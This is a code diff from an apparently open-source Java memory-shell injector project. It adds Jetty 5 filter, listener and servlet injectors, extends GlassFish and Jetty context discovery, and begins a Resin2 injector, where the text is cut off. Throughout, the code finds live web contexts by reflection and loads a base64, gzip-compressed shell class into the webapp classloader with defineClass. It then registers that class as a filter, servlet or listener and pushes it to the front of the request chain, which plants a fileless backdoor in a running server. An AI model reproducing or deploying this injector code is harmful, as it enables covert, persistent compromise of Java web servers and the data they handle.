Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(getFieldValue(getFieldValue(thread, "target"), "this$0"), "children");
Object target = getThreadTarget(thread);
if (target == null) {
continue;
}
Object container = getContainerFromProcessor(target);
if (container == null) {
continue;
}
Map<?, ?> childrenMap = (Map<?, ?>) getFieldValue(container, "children");
Collection<?> values = childrenMap.values();
for (Object value : values) {
Map<?, ?> children = (Map<?, ?>) getFieldValue(value, "children");
@@ -87,6 +95,40 @@ public class GlassFishValveInjector {
return contexts;
}
private Object getThreadTarget(Thread thread) throws Exception {
try {
return getFieldValue(thread, "target");
} catch (NoSuchFieldException e) {
// JDK 21+
return getFieldValue(getFieldValue(thread, "holder"), "task");
}
}
/**
* Older GlassFish/Payara: ContainerBackgroundProcessor.this$0
* Payara 6.2024+/7: ContainerBackgroundProcessorAtomic.base (WeakReference)
*/
private Object getContainerFromProcessor(Object target) throws Exception {
try {
return getFieldValue(target, "this$0");
} catch (NoSuchFieldException ignored) {
}
try {
Object atomic = getFieldValue(target, "containerBackgroundProcessorAtomic");
Object base = getFieldValue(atomic, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
} catch (NoSuchFieldException ignored) {
}
Object base = getFieldValue(target, "base");
if (base instanceof java.lang.ref.Reference) {
return ((java.lang.ref.Reference<?>) base).get();
}
return base;
}
private ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader", null, null));
@@ -0,0 +1,297 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5FilterInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5FilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object filter) throws Exception {
Object webApplicationHandler = getWebApplicationHandler(context);
if (invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return;
}
Object filterHolder = invokeMethod(
webApplicationHandler,
"defineFilter",
new Class[]{String.class, String.class},
new Object[]{getClassName(), getClassName()});
if (invokeMethod(filterHolder, "getFilter") == null) {
invokeMethod(filterHolder, "start");
}
invokeMethod(
webApplicationHandler,
"addFilterPathMapping",
new Class[]{String.class, String.class, int.class},
new Object[]{getUrlPattern(), getClassName(), Integer.valueOf(1)});
moveLastPathFilterToFront(webApplicationHandler);
clearChainCache(webApplicationHandler);
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
private void moveLastPathFilterToFront(Object webApplicationHandler) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters != null && pathFilters.size() > 1) {
Object filterMapping = pathFilters.remove(pathFilters.size() - 1);
pathFilters.add(0, filterMapping);
}
} catch (Throwable ignored) {
}
}
private void clearChainCache(Object webApplicationHandler) {
clearCacheField(webApplicationHandler, "_chainCache");
clearCacheField(webApplicationHandler, "_namedChainCache");
}
private void clearCacheField(Object object, String name) {
try {
Object cache = getFieldValue(object, name);
if (cache instanceof Map[]) {
Map[] maps = (Map[]) cache;
for (int i = 0; i < maps.length; i++) {
if (maps[i] != null) {
maps[i].clear();
}
}
}
} catch (Throwable ignored) {
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,440 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.EventListener;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5ListenerInjector {
private static String msg = "";
private static boolean ok = false;
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5ListenerInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[/*] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object listener) throws Exception {
if (hasListener(context)) {
return;
}
Object webApplicationHandler = getWebApplicationHandler(context);
try {
invokeMethod(context, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
} catch (Throwable ignored) {
}
if (!hasWebApplicationHandlerListener(webApplicationHandler)) {
invokeMethod(webApplicationHandler, "addEventListener", new Class[]{EventListener.class}, new Object[]{listener});
}
ensureJsr154Filter(webApplicationHandler);
syncJsr154Filter(webApplicationHandler);
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
private boolean hasListener(Object context) throws Exception {
if (containsListener(getFieldValueQuietly(context, "_contextListeners"))) {
return true;
}
Object webApplicationHandler = getWebApplicationHandler(context);
return hasWebApplicationHandlerListener(webApplicationHandler);
}
private boolean hasWebApplicationHandlerListener(Object webApplicationHandler) {
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestListeners"))) {
return true;
}
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners"))) {
return true;
}
if (containsListener(getFieldValueQuietly(webApplicationHandler, "_sessionListeners"))) {
return true;
}
return containsListener(getFieldValueQuietly(webApplicationHandler, "_contextAttributeListeners"));
}
private Object getFieldValueQuietly(Object obj, String name) {
try {
return getFieldValue(obj, name);
} catch (Throwable ignored) {
return null;
}
}
private boolean containsListener(Object listeners) {
if (listeners == null) {
return false;
}
if (listeners instanceof List) {
List list = (List) listeners;
for (int i = 0; i < list.size(); i++) {
if (isInjectedListener(list.get(i))) {
return true;
}
}
return false;
}
if (listeners.getClass().isArray()) {
int length = Array.getLength(listeners);
for (int i = 0; i < length; i++) {
if (isInjectedListener(Array.get(listeners, i))) {
return true;
}
}
return false;
}
return isInjectedListener(listeners);
}
private boolean isInjectedListener(Object listener) {
return listener != null && listener.getClass().getName().contains(getClassName());
}
private void ensureJsr154Filter(Object webApplicationHandler) {
try {
Object filterHolder = invokeMethod(webApplicationHandler, "getFilter", new Class[]{String.class}, new Object[]{"jsr154"});
if (filterHolder == null) {
filterHolder = invokeMethod(webApplicationHandler,
"defineFilter",
new Class[]{String.class, String.class},
new Object[]{"jsr154", "org.mortbay.jetty.servlet.JSR154Filter"});
}
if (invokeMethod(filterHolder, "getFilter") == null) {
invokeMethod(filterHolder, "start");
}
Object jsr154Filter = invokeMethod(filterHolder, "getFilter");
setFieldValue(webApplicationHandler, "jsr154FilterHolder", filterHolder);
setFieldValue(webApplicationHandler, "jsr154Filter", jsr154Filter);
try {
invokeMethod(jsr154Filter, "setUnwrappedDispatchSupported", new Class[]{boolean.class}, new Object[]{Boolean.TRUE});
} catch (Throwable ignored) {
}
if (!hasPathFilterMapping(webApplicationHandler, "jsr154")) {
invokeMethod(webApplicationHandler,
"addFilterPathMapping",
new Class[]{String.class, String.class, int.class},
new Object[]{"/*", "jsr154", Integer.valueOf(1)});
}
movePathFilterToFront(webApplicationHandler, "jsr154");
clearChainCache(webApplicationHandler);
} catch (Throwable ignored) {
}
}
private void syncJsr154Filter(Object webApplicationHandler) {
try {
Object jsr154Filter = getFieldValueQuietly(webApplicationHandler, "jsr154Filter");
if (jsr154Filter == null) {
Object jsr154FilterHolder = getFieldValueQuietly(webApplicationHandler, "jsr154FilterHolder");
if (jsr154FilterHolder != null) {
jsr154Filter = invokeMethod(jsr154FilterHolder, "getFilter");
}
}
if (jsr154Filter == null) {
return;
}
invokeMethod(jsr154Filter, "setRequestListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestListeners")});
invokeMethod(jsr154Filter, "setRequestAttributeListeners", new Class[]{Object.class}, new Object[]{getFieldValueQuietly(webApplicationHandler, "_requestAttributeListeners")});
} catch (Throwable ignored) {
}
}
private boolean hasPathFilterMapping(Object webApplicationHandler, String filterName) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters == null) {
return false;
}
for (int i = 0; i < pathFilters.size(); i++) {
Object filterMapping = pathFilters.get(i);
Object filterHolder = invokeMethod(filterMapping, "getHolder");
String name = (String) invokeMethod(filterHolder, "getName");
if (filterName.equals(name)) {
return true;
}
}
} catch (Throwable ignored) {
}
return false;
}
private void movePathFilterToFront(Object webApplicationHandler, String filterName) {
try {
List pathFilters = (List) getFieldValue(webApplicationHandler, "_pathFilters");
if (pathFilters == null || pathFilters.size() < 2) {
return;
}
for (int i = 0; i < pathFilters.size(); i++) {
Object filterMapping = pathFilters.get(i);
Object filterHolder = invokeMethod(filterMapping, "getHolder");
String name = (String) invokeMethod(filterHolder, "getName");
if (filterName.equals(name)) {
pathFilters.remove(i);
pathFilters.add(0, filterMapping);
return;
}
}
} catch (Throwable ignored) {
}
}
private void clearChainCache(Object webApplicationHandler) {
clearCacheField(webApplicationHandler, "_chainCache");
clearCacheField(webApplicationHandler, "_namedChainCache");
}
private void clearCacheField(Object object, String name) {
try {
Object cache = getFieldValue(object, name);
if (cache instanceof Map[]) {
Map[] maps = (Map[]) cache;
for (int i = 0; i < maps.length; i++) {
if (maps[i] != null) {
maps[i].clear();
}
}
}
} catch (Throwable ignored) {
}
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static void setFieldValue(Object obj, String name, Object value) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
field.set(obj, value);
return;
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -0,0 +1,254 @@
package com.reajason.javaweb.memshell.injector.jetty;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Jetty5ServletInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Jetty5ServletInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
msg += ("context: [" + getContextRoot(context) + "] ");
Object shell = getShell(context);
inject(context, shell);
msg += "[" + getUrlPattern() + "] ready\n";
} catch (Throwable e) {
msg += "failed " + getErrorMessage(e) + "\n";
}
}
}
ok = true;
System.out.println(msg);
}
@SuppressWarnings("all")
private String getContextRoot(Object context) {
String r = null;
try {
r = (String) invokeMethod(context, "getContextPath");
} catch (Exception ignored) {
}
String c = context.getClass().getName();
if (r == null) {
return c;
}
if (r.isEmpty()) {
return c + "(/)";
}
return c + "(" + r + ")";
}
public void inject(Object context, Object servlet) throws Exception {
Object servletHandler = getWebApplicationHandler(context);
if (invokeMethod(servletHandler, "getServletHolder", new Class[]{String.class}, new Object[]{getClassName()}) != null) {
return;
}
invokeMethod(
servletHandler,
"addServlet",
new Class[]{String.class, String.class, String.class},
new Object[]{getClassName(), getUrlPattern(), getClassName()});
}
@Override
public String toString() {
return msg;
}
/**
* org.mortbay.jetty.servlet.WebApplicationContext
*/
public Set<Object> getContext() throws Exception {
Set<Object> contexts = new HashSet<Object>();
Set<Thread> threads = Thread.getAllStackTraces().keySet();
for (Thread thread : threads) {
try {
Object contextClassLoader = invokeMethod(thread, "getContextClassLoader");
String name = contextClassLoader.getClass().getName();
if (name.endsWith("ContextLoader")) {
contexts.add(getFieldValue(contextClassLoader, "_context"));
}
} catch (Exception ignored) {
}
}
return contexts;
}
public ClassLoader getWebAppClassLoader(Object context) throws Exception {
try {
return ((ClassLoader) invokeMethod(context, "getClassLoader"));
} catch (Exception e) {
return ((ClassLoader) getFieldValue(context, "_classLoader"));
}
}
public Object getWebApplicationHandler(Object context) throws Exception {
try {
Object webApplicationHandler = invokeMethod(context, "getWebApplicationHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
try {
Object webApplicationHandler = getFieldValue(context, "_webAppHandler");
if (webApplicationHandler != null) {
return webApplicationHandler;
}
} catch (Exception ignored) {
}
return getFieldValue(context, "_servletHandler");
}
@SuppressWarnings("all")
private Object getShell(Object context) throws Exception {
ClassLoader classLoader = getWebAppClassLoader(context);
Class<?> clazz = null;
try {
clazz = classLoader.loadClass(getClassName());
} catch (Exception e) {
byte[] clazzByte = gzipDecompress(decodeBase64(getBase64String()));
Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class);
defineClass.setAccessible(true);
clazz = (Class<?>) defineClass.invoke(classLoader, clazzByte, 0, clazzByte.length);
}
msg += "[" + classLoader.getClass().getName() + "] ";
return clazz.newInstance();
}
@SuppressWarnings("all")
public static byte[] decodeBase64(String base64Str) throws Exception {
Class<?> decoderClass;
try {
decoderClass = Class.forName("java.util.Base64");
Object decoder = decoderClass.getMethod("getDecoder").invoke(null);
return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, base64Str);
} catch (Exception ignored) {
decoderClass = Class.forName("sun.misc.BASE64Decoder");
return (byte[]) decoderClass.getMethod("decodeBuffer", String.class).invoke(decoderClass.newInstance(), base64Str);
}
}
@SuppressWarnings("all")
public static byte[] gzipDecompress(byte[] compressedData) throws IOException {
ByteArrayOutputStream out = new ByteArrayOutputStream();
GZIPInputStream gzipInputStream = null;
try {
gzipInputStream = new GZIPInputStream(new ByteArrayInputStream(compressedData));
byte[] buffer = new byte[4096];
int n;
while ((n = gzipInputStream.read(buffer)) > 0) {
out.write(buffer, 0, n);
}
return out.toByteArray();
} finally {
if (gzipInputStream != null) {
gzipInputStream.close();
}
out.close();
}
}
@SuppressWarnings("all")
public static Object getFieldValue(Object obj, String name) throws Exception {
Class<?> clazz = obj.getClass();
while (clazz != Object.class) {
try {
Field field = clazz.getDeclaredField(name);
field.setAccessible(true);
return field.get(obj);
} catch (NoSuchFieldException var5) {
clazz = clazz.getSuperclass();
}
}
throw new NoSuchFieldException(obj.getClass().getName() + " Field not found: " + name);
}
public static Object invokeMethod(Object targetObject, String methodName) throws NoSuchMethodException, IllegalAccessException, InvocationTargetException {
return invokeMethod(targetObject, methodName, new Class[0], new Object[0]);
}
@SuppressWarnings("all")
public static Object invokeMethod(Object obj, String methodName, Class<?>[] paramClazz, Object[] param) throws NoSuchMethodException {
try {
Class<?> clazz = (obj instanceof Class) ? (Class<?>) obj : obj.getClass();
Method method = null;
while (clazz != null && method == null) {
try {
if (paramClazz == null) {
method = clazz.getDeclaredMethod(methodName);
} else {
method = clazz.getDeclaredMethod(methodName, paramClazz);
}
} catch (NoSuchMethodException e) {
clazz = clazz.getSuperclass();
}
}
if (method == null) {
throw new NoSuchMethodException("Method not found: " + methodName);
}
method.setAccessible(true);
return method.invoke(obj instanceof Class ? null : obj, param);
} catch (NoSuchMethodException e) {
throw e;
} catch (Exception e) {
throw new RuntimeException("Error invoking method: " + methodName, e);
}
}
@SuppressWarnings("all")
private String getErrorMessage(Throwable throwable) {
PrintStream printStream = null;
try {
ByteArrayOutputStream outputStream = new ByteArrayOutputStream();
printStream = new PrintStream(outputStream);
throwable.printStackTrace(printStream);
return outputStream.toString();
} finally {
if (printStream != null) {
printStream.close();
}
}
}
}
@@ -6,6 +6,7 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.*;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -130,7 +131,16 @@ public class JettyFilterInjector {
}
newMappings[0] = filterMapping;
invokeMethod(servletHandler, "setFilterMappings", new Class[]{Array.newInstance(filterMappingClass, 0).getClass()}, new Object[]{newMappings});
invokeMethod(servletHandler, "invalidateChainsCache");
try {
invokeMethod(servletHandler, "invalidateChainsCache");
} catch (NoSuchMethodException e) {
Map[] _chainCache = (Map[]) getFieldValue(servletHandler, "_chainCache");
if (_chainCache != null) {
for (Map cache : _chainCache) {
if (cache != null) cache.clear();
}
}
}
}
@Override
@@ -171,6 +181,19 @@ public class JettyFilterInjector {
}
} catch (Exception ignored) {
}
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
}
return contexts;
}
@@ -110,7 +110,8 @@ public class JettyHandlerInjector {
if (entry != null) {
Object threadLocalValue = getFieldValue(entry, "value");
if (threadLocalValue != null) {
if (threadLocalValue.getClass().getName().contains("HttpConnection")) {
if (threadLocalValue.getClass().getName().contains("HttpConnection")
|| threadLocalValue.getClass().getName().contains("SelectChannelConnector")) {
return invokeMethod(invokeMethod(threadLocalValue, "getConnector"), "getServer");
}
}
@@ -8,10 +8,7 @@ import java.lang.reflect.Array;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.lang.reflect.Method;
import java.util.EventListener;
import java.util.HashSet;
import java.util.List;
import java.util.Set;
import java.util.*;
import java.util.zip.GZIPInputStream;
/**
@@ -101,6 +98,19 @@ public class JettyListenerInjector {
}
} catch (Exception ignored) {
}
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
}
return contexts;
}
@@ -6,6 +6,7 @@ import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.*;
import java.util.HashSet;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
@@ -109,6 +110,20 @@ public class JettyServletInjector {
}
} catch (Exception ignored) {
}
// Winstone-Jetty: Launcher -> HostGroup -> HostConfigs -> webapps
try {
Object target = getFieldValue(thread, "target");
if (target != null && target.getClass().getName().contains("winstone.Launcher")) {
Map hostConfigs = (Map) getFieldValue(getFieldValue(target, "hostGroup"), "hostConfigs");
for (Object o : hostConfigs.values()) {
Map apps = (Map) getFieldValue(o, "webapps");
contexts.addAll(apps.values());
}
}
} catch (Throwable ignored) {
}
}
return contexts;
}
@@ -0,0 +1,270 @@
package com.reajason.javaweb.memshell.injector.resin2;
import java.io.ByteArrayInputStream;
import java.io.ByteArrayOutputStream;
import java.io.IOException;
import java.io.PrintStream;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.HashSet;
import java.util.List;
import java.util.Map;
import java.util.Set;
import java.util.zip.GZIPInputStream;
/**
* @author ReaJason
* @since 2026/7/4
*/
public class Resin2FilterInjector {
private static String msg = "";
private static boolean ok = false;
public String getUrlPattern() {
return "{{urlPattern}}";
}
public String getClassName() {
return "{{className}}";
}
public String getBase64String() throws IOException {
return "{{base64Str}}";
}
public Resin2FilterInjector() {
if (ok) {
return;
}
Set<Object> contexts = null;
try {
contexts = getContext();
} catch (Throwable throwable) {
msg += "context error: " + getErrorMessage(throwable);
}
if (contexts == null || contexts.isEmpty()) {
msg += "context not found";
} else {
for (Object context : contexts) {
try {
